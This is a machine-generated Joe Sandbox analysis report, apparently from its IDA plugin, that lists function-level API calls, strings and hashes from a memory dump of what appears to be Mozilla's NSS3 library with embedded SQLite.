DeleteCriticalSection.KERNEL32(?,6C6580DD), ref: 6C657F94
free.MOZGLUE(?), ref: 6C657F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6580DD), ref: 6C657FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6580DD), ref: 6C657FE6
free.MOZGLUE(?,6C6580DD), ref: 6C65802D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 9c2f7865070d6f9eef598bb87f52f13b3189994a444bf678f2f28731a6ef3944
Instruction ID: 87b6eff401bff4b087371f7915d52aef24bda6ec55b9daf3f6f2ca9ce1687614
Opcode Fuzzy Hash: 9c2f7865070d6f9eef598bb87f52f13b3189994a444bf678f2f28731a6ef3944
Instruction Fuzzy Hash: CC41F5B1B052004BDF04DFFAE889A4E77B5AB47398F604239E91E87B40D7319416CBAD

Function 6C69FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C69FF00

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C69FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C69FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C69FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C69FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C69FF8C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 23cd7d142f14656f011d1d2b825ca9394a801d0d2b059513ce30f74f10800a19
Instruction ID: 5bbd88f1f9497b637aac87e102694611ce4781f3ae47d141ef0241074304b682
Opcode Fuzzy Hash: 23cd7d142f14656f011d1d2b825ca9394a801d0d2b059513ce30f74f10800a19
Instruction Fuzzy Hash: 603148B69013139BE7108E998C40B9B76A8AF4634CF160139FD1A97740EB70DD15C7EE

Function 6C6A3CA0 Relevance: 13.6, APIs: 9, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6A38BD), ref: 6C6A3CBE
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,?,-00000001,?,00000000,?,6C6A38BD), ref: 6C6A3CD1

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,6C6A38BD), ref: 6C6A3CF0
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C77B369,000000FF,00000000,00000000,?,000000FF,00000000,00000000,6C6A38BD), ref: 6C6A3D0B
PORT_Alloc_Util.NSS3(00000000,?,000000FF,00000000,00000000,6C6A38BD), ref: 6C6A3D1A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,6C77B369,000000FF,00000000,00000000,00000000,6C6A38BD), ref: 6C6A3D38
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6C6A3D47
free.MOZGLUE(00000000), ref: 6C6A3D62
free.MOZGLUE(000000FF,?,000000FF,00000000,00000000,6C6A38BD), ref: 6C6A3D6F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_Utilfree$Value_wfopenmalloc
String ID:
API String ID: 2345246809-0
Opcode ID: 84eda8f2f34380cf790790517ce0cbfc866a8630165d94b831738f5d37882b4a
Instruction ID: ef17ed8f2ee2c72016f3a2b3ca1fd5544b2a8fb8d7e5a11eaf78ff6a87d69ec5
Opcode Fuzzy Hash: 84eda8f2f34380cf790790517ce0cbfc866a8630165d94b831738f5d37882b4a
Instruction Fuzzy Hash: F42184B570511277FF206ABA4C09E7B39ACDB877A9B140635F939E76C0EA60DC028275

Function 6C5E7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5E7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5E7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E7F2E

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E7ED8, 6C5E7F08, 6C5E7F19
%s at line %d of [%.10s], xrefs: 6C5E7EE7, 6C5E7F28
database corruption, xrefs: 6C5E7EE2, 6C5E7F23

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c5cf1f8d3dbea8fd9579101b5996d8d7fec100933eb695aad556e84bcf3c78bb
Instruction ID: 6b65f758125dd6588ba8d413f583276814a24c85d74d0268a4a57c4e7e98f9a9
Opcode Fuzzy Hash: c5cf1f8d3dbea8fd9579101b5996d8d7fec100933eb695aad556e84bcf3c78bb
Instruction Fuzzy Hash: 4F61B370B042059FDB05CF65CC80BAA37A2BF89348F1849A8EC195BB52D731EC56CBA1

Function 6C5CFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5CFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5CFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5CFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5CFE83

Part of subcall function 6C5CFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5CFEFA
Part of subcall function 6C5CFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5CFF3B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5CFD64, 6C5CFE26
%s at line %d of [%.10s], xrefs: 6C5CFD73, 6C5CFE35
database corruption, xrefs: 6C5CFD6E, 6C5CFE30

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: a58aaf514c128f4825f605058c9cbccb08633aee0c90373adde4a6547c2337f0
Instruction ID: adf11a785e5df2c79ca56a4e40d438d6e79fe7640cc35fb2565651336dca73ec
Opcode Fuzzy Hash: a58aaf514c128f4825f605058c9cbccb08633aee0c90373adde4a6547c2337f0
Instruction Fuzzy Hash: 5C516D71B002099FDB04CFA9D990AAEB7B1EF48308F14456DE905AB752E731ED54CBA1

Function 6C712F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C712FFD
sqlite3_initialize.NSS3 ref: 6C713007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C713032
sqlite3_mprintf.NSS3(6C77AAF9,?), ref: 6C713073
sqlite3_free.NSS3(?), ref: 6C7130B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7130C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7130BB

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 3e13428ea91461e0867d7fd2b5bd49e7b86b9546c949dcd39b0b9a7843c709b0
Instruction ID: c48e37c542bf1b6b7667303360127e3e865bfa222fe718015545185afbc93693
Opcode Fuzzy Hash: 3e13428ea91461e0867d7fd2b5bd49e7b86b9546c949dcd39b0b9a7843c709b0
Instruction Fuzzy Hash: 0841BF71604A06AFDB00CF25D984A86B7E6FF44368F198639EC2987F40E731F955CB91

Function 6C695ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]il), ref: 6C695F0A
TlsGetValue.KERNEL32 ref: 6C695F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C695F2F
PR_Unlock.NSS3(890008E8), ref: 6C695F55
PR_SetError.NSS3(00000000,00000000), ref: 6C695F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C695F7D

Part of subcall function 6C695220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C695F82,8B4274C0), ref: 6C695248
Part of subcall function 6C695220: EnterCriticalSection.KERNEL32(0F6C760D,?,6C695F82,8B4274C0), ref: 6C69525C
Part of subcall function 6C695220: PR_SetError.NSS3(00000000,00000000), ref: 6C69528E
Part of subcall function 6C695220: PR_Unlock.NSS3(0F6C75F1), ref: 6C695299
Part of subcall function 6C695220: free.MOZGLUE(00000000), ref: 6C6952A9

Strings

q]il, xrefs: 6C695EDB, 6C695F09

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]il
API String ID: 3150690610-1721260187
Opcode ID: 55ae33c55de3b266fd1450454e68c7b83141b45c7ce373ef8509f1d8527f5728
Instruction ID: 6c66fe9d6c8bf5f537793055e5ed3eb09d6fdc30365fed9f6075e7a85170529e
Opcode Fuzzy Hash: 55ae33c55de3b266fd1450454e68c7b83141b45c7ce373ef8509f1d8527f5728
Instruction Fuzzy Hash: FB21E5B1D042059FDB00AF68DC45AEEBBF4EF49318F540139E90AA7740EB31A958CBD9

Function 6C658CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C66124D,00000001), ref: 6C658D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C66124D,00000001), ref: 6C658D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C66124D,00000001), ref: 6C658D73
PR_Unlock.NSS3(?,?,?,?,?,6C66124D,00000001), ref: 6C658D8C

Part of subcall function 6C6EDD70: TlsGetValue.KERNEL32 ref: 6C6EDD8C
Part of subcall function 6C6EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C66124D,00000001), ref: 6C658DBA

Strings

KRAM, xrefs: 6C658D3E
KRAM, xrefs: 6C658CF9

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: e2b2292675543c21b167b360f632c9cc71b12c546005de35c392a6ccc76d8c64
Instruction ID: a42bc80bf8e853b8cd1a7b8b87c44282b8c43664dfd45271e98343f7d1bcc858
Opcode Fuzzy Hash: e2b2292675543c21b167b360f632c9cc71b12c546005de35c392a6ccc76d8c64
Instruction Fuzzy Hash: 5F2191B1A546018FCB00EF38C58459AB7F0FF49308F658A6AD89887B11DB34D852CB95

Function 6C750ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C750EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C750EFA

Part of subcall function 6C63AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C63AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C750F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C750F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C750F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C750F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C750ED9, 6C750EE5, 6C750F06, 6C750F0B
Aborting, xrefs: 6C750EB3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 3e7411e68942f896a0a73721a6972d52c8103ce544d278d01df388bcbc321684
Instruction ID: 85fcb90c58ff4aca03cefa121e71a6d19fa566df8f3d535bf38c7153acad75fd
Opcode Fuzzy Hash: 3e7411e68942f896a0a73721a6972d52c8103ce544d278d01df388bcbc321684
Instruction Fuzzy Hash: AC01C0B6900214ABDF01AF64DD49CAB3F3CEF47368B404074FD0997751D632EA2196B2

Function 6C731C40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,w=cl,?,?,6C634E1D), ref: 6C731C8A
sqlite3_free.NSS3(00000000), ref: 6C731CB6

Strings

non-deterministic use of %s() in %s, xrefs: 6C731C85
w=cl, xrefs: 6C731C44
a generated column, xrefs: 6C731C6C
an index, xrefs: 6C731C67
a CHECK constraint, xrefs: 6C731C76, 6C731C81

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s$w=cl
API String ID: 1840970956-2776173433
Opcode ID: 9ee467a0b94b7068b3c43352a001f38fd3abd295884cd86987e6d5741d3f1001
Instruction ID: 4dfdca1b01f3584b473fcc32fa7237269f5daf5a5d89d5f7e6499af2be014f56
Opcode Fuzzy Hash: 9ee467a0b94b7068b3c43352a001f38fd3abd295884cd86987e6d5741d3f1001
Instruction Fuzzy Hash: 1C0124B1B001044BDB10BA28D91297273E5EFC638CB15487DE8489BB02EB22EC56C761

Function 6C714D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C714DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C714DE0

Strings

invalid, xrefs: 6C714DB8
API call with %s database connection pointer, xrefs: 6C714DBD
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C714DCB
%s at line %d of [%.10s], xrefs: 6C714DDA
misuse, xrefs: 6C714DD5

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 4c41aba998f9945f2e1d693236919f08015a2dcd09279d8be744277975f36d19
Instruction ID: 2170b05fe74872ef4d13c5d9403ce3f1cfcbce6edbce001fe55ab50548df9376
Opcode Fuzzy Hash: 4c41aba998f9945f2e1d693236919f08015a2dcd09279d8be744277975f36d19
Instruction Fuzzy Hash: F9F0B422A2C9686BDF104155CF13F8637595F0272DF5A19B0EF546BF52D205999082A1

Function 6C714DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C714E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C714E4D

Strings

invalid, xrefs: 6C714E25
API call with %s database connection pointer, xrefs: 6C714E2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C714E38
%s at line %d of [%.10s], xrefs: 6C714E47
misuse, xrefs: 6C714E42

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: b2f31129cf9fbd353b25cb332b27fb54227642604978231ae6b500031a615d3f
Instruction ID: a68aa6b98c2958c707dd2a3011cbfa1844dcfe77aa38f4c7a359fba93354ad85
Opcode Fuzzy Hash: b2f31129cf9fbd353b25cb332b27fb54227642604978231ae6b500031a615d3f
Instruction Fuzzy Hash: C2F02721F4C92C6BEF200165DF11FC2379E4B0272DF4D44F1EE1867E92D2059AA952F1

Function 6C649FB0 Relevance: 12.2, APIs: 8, Instructions: 198COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64A086
EnterCriticalSection.KERNEL32(?), ref: 6C64A09B
PR_Unlock.NSS3(?), ref: 6C64A0B7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64A0E9
TlsGetValue.KERNEL32 ref: 6C64A11B
EnterCriticalSection.KERNEL32(?), ref: 6C64A12F
PR_Unlock.NSS3(?), ref: 6C64A148

Part of subcall function 6C661A40: PR_Now.NSS3(?,00000000,6C6428AD,00000000,?,6C65F09A,00000000,6C6428AD,6C6493B0,?,6C6493B0,6C6428AD,00000000,?,00000000), ref: 6C661A65

Part of subcall function 6C661940: CERT_DestroyCertificate.NSS3(00000000,00000000,?,6C664126,?), ref: 6C661966

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64A1A3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
